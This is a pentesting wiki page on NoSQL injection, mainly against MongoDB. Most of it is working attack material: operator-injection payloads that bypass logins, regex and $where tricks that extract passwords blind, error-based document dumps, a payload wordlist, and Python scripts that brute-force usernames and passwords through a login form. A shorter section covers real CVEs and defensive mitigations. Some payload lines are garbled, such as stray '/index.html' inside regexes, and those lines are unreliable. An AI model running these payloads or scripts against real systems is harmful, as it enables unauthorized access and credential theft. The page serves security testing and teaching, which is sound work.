nosql-injection.md (15303B)
1 --- 2 title: "NoSQL injection" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/nosql-injection.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/nosql-injection.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # NoSQL injection 14 15 ## Exploit 16 17 In PHP, a client can submit an array by changing a parameter from _`parameter=foo`_ to _`parameter[arrName]=foo`_. 18 19 These payloads inject a database **operator**:<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup> 20 21 ```bash 22 username[$ne]=1$password[$ne]=1 #<Not Equals> 23 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter 24 username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value 25 username[$eq]=admin&password[$ne]=1 #<Equals> 26 username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users 27 username[$ne]=admin&pass[$gt]=s #<Greater Than> 28 username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin) 29 { $where: "this.credits == this.debits" }#<IF>, can be used to execute code 30 ``` 31 32 ### Basic authentication bypass 33 34 **Using not equal ($ne) or greater ($gt)**<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup> 35 36 ```bash 37 #in URL 38 username[$ne]=toto&password[$ne]=toto 39 username[$regex]=.*&password[$regex]=.* 40 username[$exists]=true&password[$exists]=true 41 42 #in JSON 43 {"username": {"$ne": null}, "password": {"$ne": null} } 44 {"username": {"$ne": "foo"}, "password": {"$ne": "bar"} } 45 {"username": {"$gt": undefined}, "password": {"$gt": undefined} } 46 ``` 47 48 ### MongoDB Server-Side JavaScript Injection 49 50 ```javascript 51 query = { $where: `this.username == '${username}'` } 52 ``` 53 54 An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.<sup>[[3]](#references)</sup> 55 56 ```text 57 Normal sql: ' or 1=1-- - 58 Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a 59 ``` 60 61 ### Extract **length** information 62 63 ```bash 64 username[$ne]=toto&password[$regex]=.{1} 65 username[$ne]=toto&password[$regex]=.{3} 66 # True if the length equals 1,3... 67 ``` 68 69 ### Extract **data** information 70 71 ```text 72 in URL (if length == 3) 73 username[$ne]=toto&password[$regex]=a.{2} 74 username[$ne]=toto&password[$regex]=b.{2} 75 ... 76 username[$ne]=toto&password[$regex]=m.{2} 77 username[$ne]=toto&password[$regex]=md.{1} 78 username[$ne]=toto&password[$regex]=mdp 79 80 username[$ne]=toto&password[$regex]=m.* 81 username[$ne]=toto&password[$regex]=md.* 82 83 in JSON 84 {"username": {"$eq": "admin"}, "password": {"$regex": "^m" }} 85 {"username": {"$eq": "admin"}, "password": {"$regex": "^md" }} 86 {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }} 87 ``` 88 89 ### Blind Extraction with MongoDB JavaScript 90 91 ```text 92 /?search=admin' && this.password%00 --> Check if the field password exists 93 /?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password 94 /?search=admin' && this.password && this.password.match(/^a.*$/)%00 95 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 96 /?search=admin' && this.password && this.password.match(/^c.*$/)%00 97 ... 98 /?search=admin' && this.password && this.password.match(/^duvj.*$/)%00 99 ... 100 /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found 101 ``` 102 103 ### PHP Arbitrary Function Execution 104 105 The **`$func`** operator in the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library can expose arbitrary function execution in vulnerable applications, as demonstrated in [this Cockpit CMS report](https://swarm.ptsecurity.com/rce-cockpit-cms/).<sup>[[10]](#references)</sup> 106 107 ```python 108 "user":{"$func": "var_dump"} 109 ``` 110 111  112 113 ### Get info from different collection 114 115 It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard. 116 117 **NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions. 118 119 ```json 120 [ 121 { 122 "$lookup": { 123 "from": "users", 124 "as": "resultado", 125 "pipeline": [ 126 { 127 "$match": { 128 "password": { 129 "$regex": "^.*" 130 } 131 } 132 } 133 ] 134 } 135 } 136 ] 137 ``` 138 139 ### Error-Based Injection 140 141 Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:<sup>[[5]](#references)</sup> 142 143 ```json 144 { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } 145 ``` 146 147 If the application only leaks the first failing document, keep the dump deterministic by excluding documents you already recovered. Comparing against the last leaked `_id` is an easy paginator:<sup>[[5]](#references)</sup> 148 149 ```json 150 { "$where": "if (this._id > '66d5ef7d01c52a87f75e739c') { throw new Error(JSON.stringify(this)) }" } 151 ``` 152 153 ### Beating pre/post conditions in syntax injection 154 155 When the application builds the Mongo filter as a **string** before parsing it, syntax injection is no longer limited to a single field and you can often neutralize surrounding conditions.<sup>[[8]](#references)</sup> 156 157 In `$where` injections, JavaScript truthy values and poison null bytes are still useful to kill trailing clauses: 158 159 ```javascript 160 ' || 1 || 'x 161 ' || 1%00 162 ``` 163 164 In raw JSON filter injection, duplicate keys can override earlier constraints on parsers that follow a **last-key-wins** policy: 165 166 ```json 167 // Original filter 168 {"username":"<input>","role":"user"} 169 170 // Injected value of <input> 171 ","username":{"$ne":""},"$comment":"dup-key 172 173 // Effective filter on permissive parsers 174 {"username":"","username":{"$ne":""},"$comment":"dup-key","role":"user"} 175 ``` 176 177 This trick is parser-dependent and only applies when the application assembles JSON with string concatenation/interpolation first. It does **not** apply when the backend keeps the query as a structured object end-to-end. 178 179 ## Recent CVEs & Real-World Exploits (2023-2025) 180 181 ### Rocket.Chat unauthenticated blind NoSQLi – CVE-2023-28359 182 Versions ≤ 6.0.0 exposed the Meteor method `listEmojiCustom` that forwarded a user-controlled **selector** object directly to `find()`. By injecting operators such as `{"$where":"sleep(2000)||true"}` an unauthenticated attacker could build a timing oracle and exfiltrate documents. The bug was patched in 6.0.1 by validating selector shape and stripping dangerous operators.<sup>[[6]](#references)</sup> 183 184 ### Mongoose `populate().match` search injection – CVE-2024-53900 & CVE-2025-23061 185 If an application forwards attacker-controlled objects into `populate({ match: ... })`, vulnerable Mongoose versions allow `$where`-based search injection inside the populate filter. CVE-2024-53900 covered the top-level case; CVE-2025-23061 covered a bypass where `$where` was nested under operators such as `$or`.<sup>[[7]](#references)</sup> 186 187 ```javascript 188 // Dangerous: attacker controls the full match object 189 Post.find().populate({ path: 'author', match: req.query.author }); 190 ``` 191 192 Use an allow-list and map scalars explicitly instead of forwarding the whole request object. Mongoose also supports `sanitizeFilter` to wrap nested operator objects in `$eq`, but it should be treated as a safety net rather than a replacement for explicit filter mapping:<sup>[[9]](#references)</sup> 193 194 ```javascript 195 mongoose.set('sanitizeFilter', true); 196 197 Post.find().populate({ 198 path: 'author', 199 match: { email: req.query.email } 200 }); 201 ``` 202 203 ### GraphQL → Mongo filter confusion 204 Resolvers that forward `args.filter` directly into `collection.find()` remain vulnerable: 205 206 ```graphql 207 query users($f:UserFilter){ 208 users(filter:$f){ _id email } 209 } 210 211 # variables 212 { "f": { "$ne": {} } } 213 ``` 214 215 Mitigations: recursively strip keys that start with `$`, map allowed operators explicitly, or validate with schema libraries (Joi, Zod). 216 217 ## Defensive Cheat-Sheet (updated 2025) 218 219 1. Strip or reject keys that start with `$`; if Express is in front of Mongo/Mongoose, sanitize `req.body`, `req.query`, and `req.params` before they reach the ORM. 220 2. Disable server-side JavaScript on self-hosted MongoDB (`--noscripting` or `security.javascriptEnabled: false`) so `$where` and similar JS sinks are unavailable. 221 3. Prefer `$expr` and typed query builders instead of `$where`. 222 4. Validate data types early (Joi/Ajv/Zod) and disallow arrays or objects where scalars are expected to avoid `[$ne]` tricks. 223 5. For GraphQL, translate filter arguments through an allow-list; never spread untrusted objects into Mongo/Mongoose filters. 224 225 ## MongoDB Payloads 226 227 List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)<sup>[[11]](#references)</sup> 228 229 ```text 230 true, $where: '1 == 1' 231 , $where: '1 == 1' 232 $where: '1 == 1' 233 ', $where: '1 == 1 234 1, $where: '1 == 1' 235 { $ne: 1 } 236 ', $or: [ {}, { 'a':'a 237 ' } ], $comment:'successful MongoDB injection' 238 db.injection.insert({success:1}); 239 db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1 240 || 1==1 241 || 1==1// 242 || 1==1%00 243 }, { password : /.*/ } 244 ' && this.password.match(/.*/index.html)//+%00 245 ' && this.passwordzz.match(/.*/index.html)//+%00 246 '%20%26%26%20this.password.match(/.*/index.html)//+%00 247 '%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00 248 {$gt: ''} 249 [$ne]=1 250 ';sleep(5000); 251 ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); 252 {"username": {"$ne": null}, "password": {"$ne": null}} 253 {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} 254 {"username": {"$gt": undefined}, "password": {"$gt": undefined}} 255 {"username": {"$gt":""}, "password": {"$gt":""}} 256 {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}} 257 ``` 258 259 ## Blind NoSQL Script 260 261 ```python 262 import requests, string 263 264 alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;" 265 266 flag = "" 267 for i in range(21): 268 print("[i] Looking for char number "+str(i+1)) 269 for char in alphabet: 270 r = requests.get("http://chall.com?param=^"+flag+char) 271 if ("<TRUE>" in r.text): 272 flag += char 273 print("[+] Flag: "+flag) 274 break 275 ``` 276 277 ```python 278 import requests 279 import urllib3 280 import string 281 import urllib 282 urllib3.disable_warnings() 283 284 username="admin" 285 password="" 286 287 while True: 288 for c in string.printable: 289 if c not in ['*','+','.','?','|']: 290 payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c) 291 r = requests.post(u, data = {'ids': payload}, verify = False) 292 if 'OK' in r.text: 293 print("Found one more char : %s" % (password+c)) 294 password += c 295 ``` 296 297 ### Brute-force login usernames and passwords from POST login 298 299 This is a simple script that you could modify but the previous tools can also do this task. 300 301 ```python 302 import requests 303 import string 304 305 url = "http://example.com" 306 headers = {"Host": "example.com"} 307 cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} 308 possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] 309 310 def get_password(username): 311 print("Extracting password of "+username) 312 params = {"username":username, "password[$regex]":"", "login": "login"} 313 password = "^" 314 while True: 315 for c in possible_chars: 316 params["password[$regex]"] = password + c + ".*" 317 pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) 318 if int(pr.status_code) == 302: 319 password += c 320 break 321 if c == possible_chars[-1]: 322 print("Found password "+password[1:].replace("\\", "")+" for username "+username) 323 return password[1:].replace("\\", "") 324 325 def get_usernames(prefix): 326 usernames = [] 327 params = {"username[$regex]":"", "password[$regex]":".*"} 328 for c in possible_chars: 329 username = "^" + prefix + c 330 params["username[$regex]"] = username + ".*" 331 pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False) 332 if int(pr.status_code) == 302: 333 print(username) 334 for user in get_usernames(prefix + c): 335 usernames.append(user) 336 return usernames 337 338 for u in get_usernames(""): 339 get_password(u) 340 ``` 341 342 ## Tools 343 - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) 344 - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) 345 - [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) 346 - [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) 347 348 ## References 349 350 - [1] [NoSQL, No Injection? – Ron Shulman-Peleg & Bronshtein](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) 351 - [2] [PayloadsAllTheThings – NoSQL Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) 352 - [3] [A NoSQL Injection Primer with Mongo – nullsweep](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) 353 - [4] [Hacking Node.js and MongoDB – Websecurify Blog](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) 354 - [5] [NoSQL Error-Based Injection – SensePost](https://sensepost.com/blog/2025/nosql-error-based-injection/) 355 - [6] [CVE-2023-28359 – NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) 356 - [7] [Technical Discovery: Mongoose CVE-2025-23061 & CVE-2024-53900 – OPSWAT](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) 357 - [8] [Getting Rid of Pre and Post Conditions in NoSQL Injections – SensePost](https://sensepost.com/blog/2025/getting-rid-of-pre-and-post-conditions-in-nosql-injections/) 358 - [9] [Mongoose v6.x API Docs](https://mongoosejs.com/docs/6.x/docs/api/mongoose.html) 359 - [10] [RCE in Cockpit CMS via NoSQL Injection – PT SWARM](https://swarm.ptsecurity.com/rce-cockpit-cms/) 360 - [11] [cr0hn/nosqlinjection_wordlists – MongoDB NoSQLi Payloads](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)